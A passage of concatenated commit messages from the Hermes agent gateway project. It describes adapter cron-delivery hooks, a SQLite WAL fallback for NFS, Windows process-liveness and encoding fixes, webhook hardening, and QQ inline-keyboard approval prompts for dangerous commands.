adapter. The dispatch site in `_send_via_adapter` falls through to the
hook when the gateway runner is unavailable, with a descriptive error
when neither path applies. The hook is optional, so existing plugins
are unaffected.
Reference migrations land in the same change for IRC, Teams, and
Google Chat, exercising the hook across stdlib (asyncio + IRC protocol),
Bot Framework OAuth client_credentials, and Google service-account
flows respectively.
Security hardening on the new code paths:
* IRC: control-character stripping on chat_id and message body to
block CRLF command injection; bounded nick-collision retries; JOIN
before PRIVMSG so channels with the default `+n` mode accept the
delivery.
* Teams: TEAMS_SERVICE_URL validated against an allowlist of known
Bot Framework hosts (`smba.trafficmanager.net`,
`smba.infra.gov.teams.microsoft.us`) to block SSRF; chat_id and
tenant_id constrained to the documented Bot Framework character set;
per-request timeouts so a slow STS endpoint cannot starve the
activity POST.
* Google Chat: chat_id and thread_id validated against strict
resource-name regexes; service-account refresh wrapped in
`asyncio.wait_for` so a hung token endpoint cannot stall the
scheduler.
Test coverage: 20 new tests covering happy path, missing-config errors,
network failure modes, and each defensive validation. Existing tests
unchanged. `bash scripts/run_tests.sh tests/tools/test_send_message_tool.py
tests/gateway/test_irc_adapter.py tests/gateway/test_teams.py
tests/gateway/test_google_chat.py` reports 341 passed, 0 regressions.
Documentation: new "Out-of-process cron delivery" section in
website/docs/developer-guide/adding-platform-adapters.md and an entry
in gateway/platforms/ADDING_A_PLATFORM.md naming the hook.
SQLite's WAL mode requires shared-memory (mmap) coordination and fcntl
byte-range locks that don't reliably work on network filesystems. Upstream
documents this explicitly:
https://www.sqlite.org/wal.html#sometimes_queries_return_sqlite_busy_in_wal_mode
On NFS / SMB / some FUSE mounts / WSL1, 'PRAGMA journal_mode=WAL' raises
'sqlite3.OperationalError: locking protocol' (SQLITE_PROTOCOL). Before
this change, every feature backed by state.db or kanban.db broke silently:
- /resume, /title, /history, /branch returned 'Session database not
available.' with no cause
- gateway logged the init failure at DEBUG (invisible in errors.log)
- kanban dispatcher crashed every 60s, driving the known migration race
(duplicate column name: consecutive_failures, #21708 / #21374)
Changes:
- hermes_state.apply_wal_with_fallback(): shared helper that tries WAL
and falls back to DELETE on SQLITE_PROTOCOL-style errors with one
WARNING explaining why
- hermes_state.get_last_init_error() + format_session_db_unavailable():
capture the init failure cause and surface it in user-facing strings
(with an NFS/SMB pointer for 'locking protocol')
- hermes_cli/kanban_db.connect(): use the shared helper
- gateway/run.py: bump SessionDB init failure log DEBUG -> WARNING
(matches cli.py's existing correct behavior)
- cli.py (4 sites) + gateway/run.py (5 sites): replace bare
'Session database not available.' with format_session_db_unavailable()
Tests: 12 new tests in tests/test_hermes_state_wal_fallback.py + 1 new
test in tests/hermes_cli/test_kanban_db.py. Existing suites (state,
kanban, gateway, cli) remain green for all tests unrelated to pre-existing
failures on main.
Evidence: real-world user on NFSv3 mount (172.26.224.200:d2dfac12/home,
local_lock=none) reporting 'Session database not available.' on /resume;
'locking protocol' appears in 4 distinct log entries across backup,
kanban, TUI, and CLI paths in the same session.
closes#22032
The send path uses Hermes' reply-anchor fallback for DM topic lanes
(message_thread_id + reply_to_message_id), but send_chat_action only
accepts message_thread_id — Telegram's Bot API 10.0 rejects it for
these lanes. Without this short-circuit, every typing tick (~every 2s
during agent runs) makes a doomed API call that gets logged as a
'thread not found' debug warning. Skip the call entirely when the
metadata indicates a DM topic reply-fallback lane; the user-visible
behavior is unchanged (no typing indicator either way for these
lanes), but the logs stay clean.
Identified during salvage review of #22053.
## Why
Hermes supports Linux, macOS, and native Windows, but the codebase grew up
POSIX-first and has accumulated patterns that silently break (or worse,
silently kill!) on Windows:
- `os.kill(pid, 0)` as a liveness probe — on Windows this maps to
CTRL_C_EVENT and broadcasts Ctrl+C to the target's entire console
process group (bpo-14484, open since 2012).
- `os.killpg` — doesn't exist on Windows at all (AttributeError).
- `os.setsid` / `os.getuid` / `os.geteuid` — same.
- `signal.SIGKILL` / `signal.SIGHUP` / `signal.SIGUSR1` — module-attr
errors at runtime on Windows.
- `open(path)` / `open(path, "r")` without explicit encoding= — inherits
the platform default, which is cp1252/mbcs on Windows (UTF-8 on POSIX),
causing mojibake round-tripping between hosts.
- `wmic` — removed from Windows 10 21H1+.
This commit does three things:
1. Makes `psutil` a core dependency and migrates critical callsites to it.
2. Adds a grep-based CI gate (`scripts/check-windows-footguns.py`) that
blocks new instances of any of the above patterns.
3. Fixes every existing instance in the codebase so the baseline is clean.
## What changed
### 1. psutil as a core dependency (pyproject.toml)
Added `psutil>=5.9.0,<8` to core deps. psutil is the canonical
cross-platform answer for "is this PID alive" and "kill this process
tree" — its `pid_exists()` uses `OpenProcess + GetExitCodeProcess` on
Windows (NOT a signal call), and its `Process.children(recursive=True)`
+ `.kill()` combo replaces `os.killpg()` portably.
### 2. `gateway/status.py::_pid_exists`
Rewrote to call `psutil.pid_exists()` first, falling back to the
hand-rolled ctypes `OpenProcess + WaitForSingleObject` dance on Windows
(and `os.kill(pid, 0)` on POSIX) only if psutil is somehow missing —
e.g. during the scaffold phase of a fresh install before pip finishes.
### 3. `os.killpg` migration to psutil (7 callsites, 5 files)
- `tools/code_execution_tool.py`
- `tools/process_registry.py`
- `tools/tts_tool.py`
- `tools/environments/local.py` (3 sites kept as-is, suppressed with
`# windows-footgun: ok` — the pgid semantics psutil can't replicate,
and the calls are already Windows-guarded at the outer branch)
- `gateway/platforms/whatsapp.py`
### 4. `scripts/check-windows-footguns.py` (NEW, 500 lines)
Grep-based checker with 11 rules covering every Windows cross-platform
footgun we've hit so far:
1. `os.kill(pid, 0)` — the silent killer
2. `os.setsid` without guard
3. `os.killpg` (recommends psutil)
4. `os.getuid` / `os.geteuid` / `os.getgid`
5. `os.fork`
6. `signal.SIGKILL`
7. `signal.SIGHUP/SIGUSR1/SIGUSR2/SIGALRM/SIGCHLD/SIGPIPE/SIGQUIT`
8. `subprocess` shebang script invocation
9. `wmic` without `shutil.which` guard
10. Hardcoded `~/Desktop` (OneDrive trap)
11. `asyncio.add_signal_handler` without try/except
12. `open()` without `encoding=` on text mode
Features:
- Triple-quoted-docstring aware (won't flag prose inside docstrings)
- Trailing-comment aware (won't flag mentions in `# os.kill(pid, 0)` comments)

### 5. CI integration
A GitHub Actions workflow that runs the checker on every PR and push is
staged at `/tmp/hermes-stash/windows-footguns.yml` — not included in this
commit because the GH token on the push machine lacks `workflow` scope.
A maintainer with `workflow` permissions should add it as
`.github/workflows/windows-footguns.yml` in a follow-up. Content:

### 6. CONTRIBUTING.md — "Cross-Platform Compatibility" expansion
Expanded from 5 to 16 rules, each with message, example, and fix.
Recommends psutil as the preferred API for PID / process-tree operations.
### 7. Baseline cleanup (91 → 0 findings)
- 14 `open()` sites → added `encoding='utf-8'` (internal logs/caches) or
`encoding='utf-8-sig'` (user-editable files that Notepad may BOM)
- 23 POSIX-only callsites in systemd helpers, pty_bridge, and plugin
tool subprocess management → annotated with
`# windows-footgun: ok — <reason>`
- 7 `os.killpg` sites → migrated to psutil (see §3 above)
## Verification
```
$ python scripts/check-windows-footguns.py --all
✓ No Windows footguns found (380 file(s) scanned).
$ python -c "from gateway.status import _pid_exists; import os
> print('self:', _pid_exists(os.getpid())); print('bogus:', _pid_exists(999999))"
self: True
bogus: False
```
Proof-of-repro that `os.kill(pid, 0)` was actually killing processes
before this fix — see commit `1cbe39914` and bpo-14484. This commit
removes the last hand-rolled ctypes path from the hot liveness-check
path and defers to the best-maintained cross-platform answer.
On Windows, Python's ``os.kill(pid, 0)`` is NOT a no-op. CPython's
implementation (``Modules/posixmodule.c::os_kill_impl``) treats sig=0
as ``CTRL_C_EVENT`` because the two integer values collide at the C
layer, and routes it through ``GenerateConsoleCtrlEvent(0, pid)`` —
which sends a Ctrl+C to the ENTIRE console process group containing
the target PID, not just the PID itself. Any caller that wanted to
check "is PID X alive" via the classic POSIX ``os.kill(pid, 0)``
idiom was silently killing that process (and often unrelated
processes in the same console group) on Windows. Long-standing
Python Windows quirk; see bpo-14484 (open since 2012).
This manifested in Hermes as: every ``hermes gateway status``
invocation would read the gateway's PID from the PID file, call
``os.kill(pid, 0)`` via ``gateway.status.get_running_pid()`` as a
"liveness check", and instantly terminate the gateway it was trying
to report on. No shutdown log, no traceback, no atexit hook fire,
no exit-diag entry — just silent termination of the detached pythonw
process. "Bot answered one message then stopped typing" was the
characteristic end-user symptom because `os.kill(pid, 0)` fires
mid-response-send and kills the gateway between logs.
Reproduction (verified in this branch before the fix):
$ hermes gateway start # gateway alive, PID 37520
$ hermes gateway status # reports "No gateway process detected"
$ tasklist /FI "PID eq 37520" # INFO: No tasks are running
# — gateway terminated silently
Root-cause fix is a new ``gateway.status._pid_exists(pid)`` helper:
- On Windows: Win32 ``OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION |
SYNCHRONIZE, False, pid)`` + ``WaitForSingleObject(handle, 0)``
via ctypes. Zero signal delivery, zero console-group side effects.
Pins ctypes return types to avoid DWORD-vs-signed-int parse bugs
on WAIT_TIMEOUT (0x102). Distinguishes ERROR_INVALID_PARAMETER
(PID gone) from ERROR_ACCESS_DENIED (alive but another user).
- On POSIX: the canonical ``os.kill(pid, 0)`` idiom that actually is
a no-op there.
Then patch every ``os.kill(pid, 0)`` liveness-check callsite to
route through ``_pid_exists`` instead. Total 14 callsites across
11 files; every single one was a latent silent-kill on Windows:
gateway/run.py:2810 — /restart watcher (inline subprocess)
gateway/run.py:15195 — --replace wait loop
gateway/status.py:572 — acquire_gateway_runtime_lock stale check
gateway/status.py:828 — get_running_pid (THE killer for status)
gateway/platforms/whatsapp.py:111
hermes_cli/gateway.py:228, 522, 1012 — gateway-related drain loops
hermes_cli/kanban_db.py:2826 — _pid_alive was claiming to
be cross-platform but used
os.kill(pid, 0) on Windows
hermes_cli/main.py:5792 — CLI process-kill polling
hermes_cli/profiles.py:782 — profile stop wait loop
plugins/google_meet/process_manager.py:74
tools/browser_tool.py:1215, 1255 — browser daemon ownership probes
tools/mcp_tool.py:1255, 3374 — MCP stdio orphan tracking
The watcher source in gateway/run.py:2810 is a multi-line string
that gets spawned as an inline ``python -c "..."`` subprocess, so
it can't import gateway.status. The fix for that callsite inlines
the same ctypes probe directly into the watcher source.
Tested on Windows 10 with the hermes gateway + Telegram bot:
- gateway start → alive
- 5 consecutive ``hermes gateway status`` invocations → gateway
alive after every one, same PID reported each time (37520, 21952)
- gateway.log shows uninterrupted operation; no spurious shutdown
entries; cron ticker and kanban dispatcher still running on
their 60-second cadence
- bot continues answering Telegram messages throughout
Ships alongside an exit-path diagnostic wrapper in
``hermes_cli/gateway.py::run_gateway()`` that captures every way
``asyncio.run(start_gateway(...))`` can return (success, SystemExit,
KeyboardInterrupt, BaseException, atexit) with full traceback to
``logs/gateway-exit-diag.log``. This was used to prove the gateway
was being hard-killed externally (no exit event fired) and should
be kept for future Windows debugging.

Closes the last Python-on-Windows UTF-8 exposure by making every
text-mode open() call explicit about its encoding.
Before: on Windows, bare open(path, 'r') defaults to the system
locale encoding (cp1252 on US-locale installs). That means reading
any config/yaml/markdown/json file with non-ASCII content either
crashes with UnicodeDecodeError or silently mis-decodes bytes.
After: all 89 affected call sites in production code now pass
encoding='utf-8' explicitly. Works identically on every platform
and every locale, no surprise behavior.
Mechanical sweep via:
ruff check --preview --extend-select PLW1514 --unsafe-fixes --fix --exclude 'tests,venv,.venv,node_modules,website,optional-skills, skills,tinker-atropos,plugins' .
All 89 fixes have the same shape: open(x) or open(x, mode) became
open(x, encoding='utf-8') or open(x, mode, encoding='utf-8'). Nothing
else changed. Every modified file still parses and the Windows/sandbox
test suite is still green (85 passed, 14 skipped, 0 failed across
tests/tools/test_code_execution_windows_env.py +
tests/tools/test_code_execution_modes.py + tests/tools/test_env_passthrough.py +
tests/test_hermes_bootstrap.py).
Scope notes:
- tests/ excluded: test fixtures can use locale encoding intentionally
(exercising edge cases). If we want to tighten tests later that's
a separate PR.
- plugins/ excluded: plugin-specific conventions may differ; plugin
authors own their code.
- optional-skills/ and skills/ excluded: skill scripts are user-authored
and we don't want to mass-edit them.
- website/ and tinker-atropos/ excluded: vendored / generated content.
46 files touched, 89 +/- lines (symmetric replacement). No behavior
change on POSIX or on Windows when the file is ASCII; bug fix on
Windows when the file contains non-ASCII.
Second pass on native Windows support, driven by a systematic audit across
five areas: POSIX-only primitives (signal.SIGKILL/SIGHUP/SIGPIPE, os.WNOHANG,
os.setsid), path translation bugs (/c/Users → C:\Users), subprocess patterns
(npm.cmd batch shims, start_new_session no-op on Windows), subsystem health
(cron, gateway daemon, update flow), and module-level import guards.
Every change is platform-gated — POSIX (Linux/macOS) behaviour is preserved
bit-identical. Explicit "do no harm" test: test_posix_path_preserved_on_linux,
test_posix_noop, test_windows_detach_popen_kwargs_is_posix_equivalent_on_posix.
## New module
- hermes_cli/_subprocess_compat.py — shared helpers (resolve_node_command,
windows_detach_flags, windows_hide_flags, windows_detach_popen_kwargs).
All no-ops on non-Windows.
## CRITICAL fixes (would crash or silently break on Windows)
- tui_gateway/entry.py: SIGPIPE/SIGHUP referenced at module top level would
AttributeError on import on Windows, breaking `hermes --tui` entirely (it
spawns this module as a subprocess). Guard each signal.signal() call with
hasattr() and add SIGBREAK as Windows' SIGHUP equivalent.
- hermes_cli/kanban_db.py: os.waitpid(-1, os.WNOHANG) in dispatcher tick was
unguarded. os.WNOHANG doesn't exist on Windows. Gate the whole reap loop
behind `os.name != "nt"` — Windows has no zombies anyway.
- tools/code_execution_tool.py: AF_UNIX socket for execute_code RPC fails on
most Windows builds. Fall back to loopback TCP (AF_INET on 127.0.0.1:0
ephemeral port) when _IS_WINDOWS. HERMES_RPC_SOCKET env var now accepts
either a filesystem path (POSIX) or `tcp://127.0.0.1:<port>` (Windows).
Generated sandbox client parses both.
- cron/scheduler.py: `argv = ["/bin/bash", str(path)]` hardcoded. Use
shutil.which("bash") so Windows (Git Bash via MinGit) works, with a
readable error when bash is genuinely absent.
- 6 bare npm/npx spawn sites: tools_config.py x2, doctor.py, whatsapp.py
(npm install + node version probe), browser_tool.py x2. On Windows npm
is npm.cmd / npx is npx.cmd (batch shims); subprocess.Popen(["npm", ...])
fails with WinError 193. shutil.which(...) returns the absolute .cmd
path which CreateProcessW accepts because the extension routes through
cmd.exe /c. POSIX behaviour unchanged (shutil.which still returns the
same path subprocess would resolve itself).
## HIGH fixes (silent misbehaviour on Windows)
- tools/environments/local.py get_temp_dir: hardcoded /tmp returned on
Windows meant `_cwd_file = "/tmp/hermes-cwd-*.txt"`, which bash wrote
via MSYS2's virtual /tmp but native Python couldn't open. Result: cwd
tracking silently broken — `cd` in terminal tool did nothing. Windows
branch now returns `%HERMES_HOME%/cache/terminal` with forward slashes
(works in both bash and Python, guaranteed no spaces).
- tools/environments/local.py _make_run_env PATH injection: `/usr/bin not
in split(":")` heuristic mangles Windows PATH (";" separator). Gate
the injection behind `not _IS_WINDOWS`.
- hermes_cli/gateway.py launch_detached_profile_gateway_restart: outer
Popen + watcher-script Popen both used start_new_session=True, which
Windows silently ignores. Watcher stayed attached to CLI's console,
died when user closed terminal after `hermes update`, left gateway
stale. Now branches through windows_detach_popen_kwargs() helper
(CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS | CREATE_NO_WINDOW on
Windows, start_new_session=True on POSIX — identical to main).
## MEDIUM fixes
- gateway/run.py /restart and /update handlers: hardcoded bash/setsid
chain crashes on Windows when user triggers /update in-gateway. Now
has sys.platform=="win32" branch using sys.executable + a tiny
Python watcher with proper detach flags. POSIX path is unchanged.
- cli.py _git_repo_root: Git on Windows sometimes returns /c/Users/...
style paths that break subprocess.Popen(cwd=...) and Path().resolve().
Added _normalize_git_bash_path() helper that translates /c/Users,
/cygdrive/c, /mnt/c variants to native C:\Users form. POSIX no-op.
_git_repo_root() now routes every result through it.
- cli.py worktree .worktreeinclude: os.symlink on directories failed
hard on Windows (requires admin or Developer Mode). Falls back to
shutil.copytree with a warning log.
## Tests
- 29 new tests in tests/tools/test_windows_native_support.py covering:
subprocess_compat helpers, TUI entry signal guards, kanban waitpid
guard, code_execution TCP fallback source-level invariants, cron bash
resolution, npm/npx bare-spawn lint per-file, local env Windows temp
dir, PATH injection gating, git bash path normalization, symlink
fallback, gateway detached watcher flags.
- One existing test assertion adjusted in test_browser_homebrew_paths:
it compared captured Popen argv to the BARE `"npx"` literal; after the
shutil.which() change argv[0] is the absolute path. New assertion
checks the shape (two items, second is `agent-browser`) rather than
the exact first-item string. Behaviour unchanged; test was too strict.
All 56 tests pass on Linux (30 from previous commits + 26 new).
267 tests from the affected files/dirs (browser, code_exec, local_env,
process_registry, kanban_db, windows_compat) all pass — zero regressions.
tests/hermes_cli/ (3909 pass) and tests/gateway/ (5021 pass) unchanged;
all pre-existing test failures confirmed unrelated via `git stash` re-run.
## What's still deferred (LOW priority)
- Visible cmd-window flashes on short-lived console apps (~14 sites) —
cosmetic, needs a follow-up pass once we have user reports.
- agent/file_safety.py POSIX-only security deny patterns — separate
hardening task.
- tools/process_registry.py returning "/tmp" as fallback — theoretical;
reachable only when all env-var candidates fail.
Defense-in-depth polish on top of the webhook listener before it becomes
a real attack surface once the pipeline starts creating subscriptions
and Graph starts POSTing to the configured public URL.
- Timing-safe clientState comparison. Previously used `==` on strings;
switches to hmac.compare_digest so a mismatch does not leak how many
leading characters matched. client_state is documented as a strong
shared secret (openssl rand -hex 32 in the setup docs), so a
timing-safe primitive is the right call.
- Split GET and POST handlers. Graph validates a subscription by sending
GET with validationToken in the query; anything else on GET is now a
400 so the endpoint cannot be probed or mistakenly used for data
exfil. Previously a bare GET fell through to the POST path and blew
up on request.json() with a confusing 400.
- Empty response bodies on success. 202 is returned with no body so
internal counters (accepted / duplicates / scheduled) do not leak to
any caller that can reach the endpoint; counters remain observable
via /health for operators. 403 on every-item-bad-clientState batches
(so forged POSTs stop retrying), 400 on malformed / unknown-resource
batches (sender configuration issue).
- Optional source-IP allowlist. New `allowed_source_cidrs` extra field
(list or comma-separated string) and `MSGRAPH_WEBHOOK_ALLOWED_SOURCE_CIDRS`
env var let operators restrict the webhook to Microsoft Graph's
published webhook source ranges in production. Empty = allow all,
preserving dev-tunnel / localhost workflows. Invalid CIDRs are
logged and ignored rather than crashing. Also gates the handshake
endpoint so disallowed IPs cannot probe it.
- Tests updated for the new response contract (empty-body 202,
auth-only 403, config-error 400) and extended to cover: bare GET
rejection, POST-with-validationToken handshake tolerance,
timing-safe compare actually invoked via hmac.compare_digest spy,
malformed body / missing value array, IP allowlist accept/reject
paths, handshake IP allowlist, invalid CIDR entries, comma-string
CIDR list parsing. 52/52 passed (was 40).
Full gateway suite: 5049 passed / 1 pre-existing failure in
test_discord_free_response (unrelated, reproduces on clean origin/main).
Route goal status notices through the platform adapter send API and register post-delivery callbacks so completed-goal notices appear after the final assistant response. Also cancel queued synthetic goal continuations on /goal pause and /goal clear while preserving normal queued user messages.
The May 5 refactor in d5357f816 made _message_thread_id_for_typing()
symmetric with _message_thread_id_for_send() by mapping the General
topic (thread id "1") to None upfront for both. That's correct for
sendMessage — Telegram rejects message_thread_id=1 on sends and the
topic must be omitted — but it's wrong for sendChatAction.
Observed behavior (confirmed via before/after Telegram wire traces):
Before d5357f816: thread_id=1 → message_thread_id=1 → bubble visible in General
After d5357f816: thread_id=1 → message_thread_id=None → no visible typing
Omitting message_thread_id on sendChatAction does NOT fall back to
the General topic's view in a forum-enabled supergroup; the bubble
ends up hidden from the client's General-topic pane entirely. For
any user on a forum-group, the typing indicator stopped appearing.
Fix: drop the symmetric "1 → None" mapping from the typing resolver.
sendMessage still maps 1 → None via _message_thread_id_for_send (that
side was never broken). The asymmetry is real and required by
Telegram's API — document it in the resolver docstring.
Partial revert of d5357f816; restores the behavior from 0cf7d570e
("fix(telegram): restore typing indicator and thread routing for
forum General topic"). Does not re-introduce the retry-without-thread
fallback that 41545f7ec scoped down for DM topics — with the resolver
fixed, the first call already hits the right wire shape.
Test updated from test_send_typing_general_topic_uses_none_thread_id
(which encoded the broken contract) to
test_send_typing_preserves_general_topic_thread_id, asserting the
single correct call with message_thread_id=1. 10 other tests in the
file untouched and passing.
Makes the in-tree QQ inline keyboards actually light up when the agent
blocks on a dangerous-command approval. Matches the cross-adapter
gateway contract already implemented by Discord, Telegram, Slack,
Matrix, and Feishu.
Gateway/run.py's _approval_notify_sync checks type(adapter).send_exec_approval
and falls back to a text prompt when it's missing. Without this wiring,
QQ users stared at plain '/approve' text even though the adapter shipped
button primitives.
### send_exec_approval(chat_id, command, session_key, description, metadata)
Matches the signature the gateway calls with. Builds an ApprovalRequest
(command_preview, description, timeout) and delegates to send_approval_request.
Uses the last inbound msg_id as reply_to so QQ accepts the passive
message. The 'metadata' parameter is accepted for contract parity but
intentionally unused — QQ doesn't have thread_id/DM-targeting overrides.
### send_update_prompt(chat_id, prompt, default, session_key, metadata)
Signature updated to match the cross-adapter contract used by
'hermes update --gateway' watcher. Renders a 'Update Needs Your Input'
prompt with the optional default hint and a Yes/No keyboard. Replaces
the earlier 3-arg helper that wasn't wired anywhere.
### Default interaction dispatcher
_default_interaction_dispatch() auto-registered as the adapter's
interaction callback in __init__. Routes:
- approve:<session_key>:<decision> → tools.approval.resolve_gateway_approval
Button → choice mapping:
allow-once → 'once'
allow-always → 'always'
deny → 'deny'
(QQ's 3-button mobile layout deliberately collapses 'session' + 'always'
into one button; /approve session text fallback remains available.)
- update_prompt:<answer> → atomic write of y/n to ~/.hermes/.update_response
(the detached 'hermes update --gateway' watcher polls this file)
- anything else → logged and dropped
Resolve exceptions are caught and logged — never propagate into the WS
loop. Callers can override via set_interaction_callback() to route
clicks elsewhere or pass None to drop them entirely.
### Net effect
QQ users now get native tap-to-approve UX on dangerous-command prompts
and update-confirmation prompts, without having to type /approve or /deny
as text. The adapter hooks into tools.approval the same way every other
button-capable platform does.
### Tests
14 new tests cover:
- Default callback installed on __init__
- send_exec_approval / send_update_prompt exist as class methods (so the
gateway's type-probe detects them)
- allow-once/always/deny each map to the correct resolve choice
- update_prompt:y / update_prompt:n each write atomically to the response
file (via monkeypatched get_hermes_home)
- Unknown button_data / empty button_data / resolve exceptions are harmless
- send_exec_approval honours last_msg_id reply-to and accepts metadata
- send_update_prompt delegates with correct content + keyboard
Full qqbot suite: 144 passed (72 pre-existing + 72 from this salvage arc).
Also ran tools/test_approval.py alongside — no regressions (276 passed
combined).

Follow-up to the previous commit:
- Add _is_loopback_host() helper covering 127.0.0.1, localhost, ::1,
ip6-localhost, ip6-loopback (case-insensitive). Empty/None host is
treated as non-loopback since unset usually means public default bind.
- Fix mixed-indent comment in the safety rail (comment now aligned with
the if-block) and collapse the nested-if into one condition.
- Add TestInsecureNoAuthSafetyRail covering rejection on 0.0.0.0, a LAN
IP, and empty host; allowance on 127.0.0.1/localhost; plus unit-level
parametrized coverage of _is_loopback_host for spellings we can't bind
in the hermetic test env (::1, ip6-localhost, ip6-loopback).
- Pin test_connect_starts_server + test_webhook_deliver_only defaults
to 127.0.0.1 so they keep passing under the new rail.
- Document the behavior in website/docs/user-guide/messaging/webhooks.md.
Following PR #21306 which added the new generic plugin-platform hooks,
update the three platform-authoring docs so plugin authors find them:
- website/docs/developer-guide/adding-platform-adapters.md: expand the
'What the Plugin System Handles Automatically' table with env-only
auto-enable + cron delivery + hermes-config UI entries rows. Add
three new sections — 'Env-Driven Auto-Configuration', 'Cron
Delivery', 'Surfacing Env Vars in hermes config' — covering the
hook signatures, plugin.yaml rich-dict format, and the
home_channel-key special case. Update the main register() example
to pass env_enablement_fn + cron_deliver_env_var inline so readers
see them on their first pass. Upgrade the PLUGIN.yaml snippet to
show bare-string + rich-dict + optional_env.
- website/docs/guides/build-a-hermes-plugin.md: the thin platform
example in the build-a-plugin tour now includes env_enablement_fn
and cron_deliver_env_var, plus an optional_env block in the inline
plugin.yaml. Keeps pointing to the developer-guide page for the
full treatment.
- gateway/platforms/ADDING_A_PLATFORM.md: the in-repo reference
shallow-points at the docsite but now names the three new hooks
explicitly so contributors reading the source tree know what
they're for. Also adds teams + google_chat as reference
implementations alongside irc.
When a user replies while quoting another message, QQ sets
'message_type = 103' and pushes the referenced message's content +
attachments inside 'msg_elements[0]'. The old adapter ignored
msg_elements entirely, so:
- Bare quote-replies (no user text) surfaced nothing to the LLM.
- Quoted images/files/voice were never downloaded or described.
- Quoted voice messages specifically produced no transcript — the model
had no way to see what the user was referring to when saying 'about
this voice note…'.
This commit adds _process_quoted_context(d) which extracts msg_elements,
unions their attachments, and runs them through the SAME
_process_attachments pipeline as the main message body. Quoted voice
gets an STT transcript (tried via QQ's asr_refer_text first, then the
configured STT provider); quoted images get cached just like main-body
images; quoted files surface with their original filename intact (not
the CDN URL hash).
The quoted content is prepended to the user's text as a '[Quoted message]:'
block so the LLM sees the full referential context on one turn.
Images-only quotes surface a '[Quoted message]: (image)' marker so the
model knows an image was referenced even if no text came with it.
All four inbound handlers (_handle_c2c_message, _handle_group_message,
_handle_guild_message, _handle_dm_message) now call the helper uniformly
— one merge pattern, not four divergent implementations.
Filename preservation is carried by _process_attachments' existing
'[Attachment: {filename or ct}]' line; nothing else needed for that.
12 new tests under TestProcessQuotedContext and TestMergeQuoteInto cover:
- Non-quote messages short-circuit to empty
- message_type=103 with no msg_elements is harmless
- Text-only quotes render with '[Quoted message]:' prefix
- Voice attachments in the quote flow through STT
- File attachments in the quote preserve the original filename
- Image attachments surface cached paths + media types
- Images-only quote still emits a marker
- Multiple msg_elements are concatenated
- Malformed message_type values return empty
- _merge_quote_into prepends with a blank-line separator

The QQ Bot v2 API supports inline keyboards on outbound messages. When a
user taps a button, the platform dispatches an INTERACTION_CREATE
gateway event; the bot ACKs it via PUT /interactions/{id} and decodes
the button's data payload to route the click.
This commit adds:
New module gateway/platforms/qqbot/keyboards.py
- Inline-keyboard dataclasses (InlineKeyboard, KeyboardRow, KeyboardButton,
KeyboardButtonAction, KeyboardButtonRenderData, KeyboardButtonPermission)
that serialize to the JSON shape the QQ API expects.
- build_approval_keyboard(session_key) — 3-button layout:
✅ 允许一次 / ⭐ 始终允许 / ❌ 拒绝, all sharing group_id='approval'
so clicking one greys out the rest.
- build_update_prompt_keyboard() — Yes/No keyboard for update confirms.
- parse_approval_button_data() / parse_update_prompt_button_data() —
decode the button_data payload from INTERACTION_CREATE.
approve:<session_key>:<decision> (decision = allow-once|allow-always|deny)
update_prompt:<answer> (answer = y|n)
- build_approval_text(ApprovalRequest) — markdown renderer for the
surrounding message body (exec-approval and plugin-approval variants,
with severity icons 🔴/🔵/🟡).
- parse_interaction_event(raw) → InteractionEvent dataclass — normalizes
the nested raw payload (id / scene / openids / button_data / etc.).
Adapter changes (gateway/platforms/qqbot/adapter.py)
- _dispatch_payload routes INTERACTION_CREATE → _on_interaction.
- _on_interaction parses the event, ACKs via PUT /interactions/{id}, then
invokes a user-registered interaction callback. Exceptions from the
callback are caught and logged (never propagate into the WS loop).
- set_interaction_callback(cb) lets gateway wiring register a routing
handler that inspects button_data and resolves the corresponding
pending approval / update prompt.
- _send_c2c_text / _send_group_text now accept an optional keyboard kwarg
and append it to the outbound body.
- send_with_keyboard(chat_id, content, keyboard, reply_to=None) — public
helper that sends a single short message with a keyboard attached.
Does NOT chunk-split (a keyboard message has one interactive surface).
Guild chats are rejected non-retryably — they don't support keyboards.
- send_approval_request(chat_id, ApprovalRequest, reply_to=None) +
send_update_prompt(chat_id, content, reply_to=None) — convenience
wrappers over send_with_keyboard.
Tests
27 new unit tests under TestApprovalButtonData, TestUpdatePromptButtonData,
TestBuildApprovalKeyboard, TestBuildUpdatePromptKeyboard, TestBuildApprovalText,
TestInteractionEventParsing, and TestAdapterInteractionDispatch. Cover:
- Button-data round-trip (build → parse returns original session/decision)
- Keyboard JSON shape + mutual-exclusion group_id
- Exec vs plugin approval text templates + severity icons
- Interaction event parsing (c2c / group / guild scene codes)
- _on_interaction end-to-end: ACK invoked, callback receives parsed event,
callback exceptions are swallowed, missing id skips ACK, no registered
callback is harmless.
Full qqbot suite: 118 passed (72 existing + 19 chunked + 27 keyboards).
Co-authored-by: WideLee <limkuan24@gmail.com>
The v2 'single POST /v2/{users|groups}/{id}/files' upload path is capped
at ~10 MB inline (base64 'file_data' or 'url'). For larger files the QQ
platform provides a three-step flow:
1. POST /upload_prepare → upload_id + pre-signed COS part URLs
2. PUT each part to its COS URL → POST /upload_part_finish
3. POST /files with {upload_id} → file_info token
This commit adds a new gateway/platforms/qqbot/chunked_upload.py module
that implements the flow, wires it into QQAdapter._send_media for local
files (URL uploads keep the existing inline path), and introduces
structured exceptions so the caller can surface actionable error text:
- UploadDailyLimitExceededError (biz_code 40093002, non-retryable)
- UploadFileTooLargeError (file exceeds the platform limit)
Both carry file_name / file_size_human / limit_human so the model can
compose user-friendly replies instead of seeing opaque HTTP codes.
The part_finish 40093001 retryable-error loop respects the server-
provided retry_timeout (capped at 10 minutes locally) with a 1 s
polling interval. COS PUTs retry transient failures up to 2 times
with exponential backoff. complete_upload retries up to 2 times.
Covers files up to the platform's ~100 MB per-file limit; before this
the adapter silently rejected anything over ~10 MB.
19 new unit tests under TestChunkedUpload* cover the happy path,
prepare-response parsing, helper functions, part retries, COS PUT
retries, group vs c2c routing, and the structured-error mapping.

Mirrors the Slack `allowed_channels` feature (PR #7401) and Discord's
`allowed_channels` (PR #7044) across the remaining group-capable platforms.
All five platforms (Slack + Discord + the four added here) now follow the
same pattern: primary config via config.yaml, env-var fallback as an escape
hatch — matching the project policy that .env is for secrets only and
behavioral settings belong in config.yaml.
Also fixes a duplicate `slack` key in DEFAULT_CONFIG introduced by PR
#7401 (the later entry silently overwrote `allowed_channels`, `require_mention`,
and `free_response_channels` at dict-literal evaluation time).
Platforms added:
- Telegram: `telegram.allowed_chats` (env alias: `TELEGRAM_ALLOWED_CHATS`)
